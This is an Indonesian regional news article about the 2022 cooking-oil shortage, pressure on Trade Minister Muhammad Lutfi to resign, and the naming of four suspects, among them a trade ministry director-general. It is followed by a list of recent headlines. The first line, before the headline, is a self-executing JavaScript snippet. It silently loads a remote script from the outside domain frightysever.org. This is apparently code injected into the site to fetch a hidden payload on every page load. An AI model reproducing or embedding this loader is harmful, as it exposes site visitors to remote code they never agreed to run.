(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Gembar-Gembor Ungkap Mafia Minyak Goreng, Anak Buah Sendiri Ditangkap


KANALKALIMANTAN.COM, JAKARTA – Menteri Perdagangan Muhammad Lutfi semakin menjadi sorotan setelah anak buahnya, Dirjen Kementerian Perdagangan Indrasari Wisnu Wardana menjadi tersangka mafia minyak goreng.

Menteri Lutfi kini dicecar berbagai pertanyaan hingga diminta mundur karena dianggap gagal mengatasi permasalahan kelangkaan hingga naiknya harga minyak goreng.

Jika ditelusuri lagi runutan peristiwa kelangkaan minyak goreng yang mencekik masyarakat ini, Menteri Perdagangan sudah membuka suara sejak awal kejadian.

Baca juga: Korban Meninggal Dunia Alfamart Ambruk Jadi 5 Orang, Hanafi Hembuskan Nafas di RSI Sultan Agung

 

 

Awal Kelangkaan

Di bulan Februari, Kementerian Perdagangan telah memberlakukan Harga Eceran Tertinggi (HET) minyak goreng dengan rincian sebagai berikut.

-Minyak goreng curah sebesar Rp 11.500 per liter

-Minyak goreng kemasan sederhana sebesar Rp 13.500 per liter

-Minyak goreng kemasan premium sebesar Rp 14.000 per liter

Menteri Lutfi menduga bahwa kasus kelangkaan dan kenaikan harga minyak goreng ini dikarenakan adanya praktik penimbunan dan penyelundupan ekspor minyak mentah kelapa sawit.

“Jadi ada dua dugaan, bocor untuk industri dengan harga tak sesuai pemerintah ini melawan hukum dan yang kedua penyelundupan,” ujar Lutfi, seusai meninjau Minyak Goreng di Pasar Kebayoran Lama, Jakarta, Rabu (9/3/2022).

 

Dipanggil DPR, Dituntut Mundur dari Menteri

Solusi dari Kementerian Perdagangan tak kunjung melegakan hati masyarakat karena harga minyak goreng di pasaran tak kunjung turun. DPR pun mengambil langkah dengan memanggil Menteri Lutfi.

M Lutfi mendapat sejumlah kritik dari para anggota DPR RI saat rapat kerja bersama Komisi VI DPR di Kompleks Parlemen, Senayan, Jakarta, Kamis (17/3/2022).

Baca juga: Jembatan Lampihong Peninggalan Belanda Segera Diperbaiki

Desakan agar Muhammad Lutfi mundur dari jabatannya sebagai Menteri Perdagangan kian deras. Apalagi setelah kebijakannya mencabut harga eceran tertinggi (HET) minyak goreng dan melepaskan harga pada mekanisme pasar.

Menurut Koordinator MAKI, Boyamin Saiman, desakan agar Lutfi mundur menjadi wajar. Ia turut menilai bahwa Muhammad Lutfi tidak layak menjadi Mendag lantaran dianggap tidak becus menyelesaikan polemik minyak goreng.

“Ya kalau saya sederhana, tidak layak, dicopot saja, kan gitu,” kata Boyamin dalam diskusi secara daring, Minggu (20/3/2022).

Selain itu, Pengamat komunikasi dan politik Jamiluddin Ritonga menilai Menteri Perdagangan Muhammad Lutfi layak di-reshuffle.

“Mendag sudah gagal dalam mengendalikan minyak goreng dan harganya,” kata Jamiluddin, seperti dikutip dari wartaekonomi–jaringan Suara.com, Minggu (20/3/2022).

 

Janji Pelaku Akan Diungkap, Anak Buah Sendiri yang Tertangkap

Pernah berjanji akan mengungkap siapa-siapa saja mafia minyak goreng kepada DPR, Muhammad Lutfi membuat Komisi VI menunggu.

“Pak Mendag kan janji hari Senin akan diumumkan oleh Mabes Polri. Lalu di rapat yang kemarin juga di DPD beliau menyatakan butuh satu-dua hari ini, kita tunggu saja,” kata Andre saat dihubungi, Selasa (22/3/2022).

Sebulan setelah janji tersebut, ternyata anak buah Menteri Lutfi sendiri yang tertangkap.

Kejaksaan Agung menetapkan tersangka ekspor minyak goreng. Salah satu tersangkanya adalah Dirjen Kementerian Perdagangan.

Pengumuman tersangka itu diumumkan Jaksa Agung Sanitiar Burhanudin. Ada 4 tersangka.

Baca juga: Kronologi Kasus Korupsi Mafia Minyak Goreng, Dicurigai Sejak 2021

Keempat tersangka itu diantaranya:

-MPT selaku Komisaris PT Wilmar Nabati Indonesia

-SMA selaku Senior Manager Corporate Affair Permata Hijau Grup (PHG)

-PT selaku General Manager di Bagian General Affair PT Musim Mas

-Direktur Jenderal Perdagangan Luar Negeri Kementerian Perdagangan (Dirjen PLN Kemendag) berinisial IWW. (Suara.com)

Editor : kk


Risa

Recent Posts

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

58 menit ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

3 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

4 jam ago

Satpol PP Banjar Dapati 7 Penjual Anakan Ikan

KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More

4 jam ago

Kabupaten Banjar Raih Penghargaan dari Ombudsman

KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More

4 jam ago

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

16 jam ago

This website uses cookies.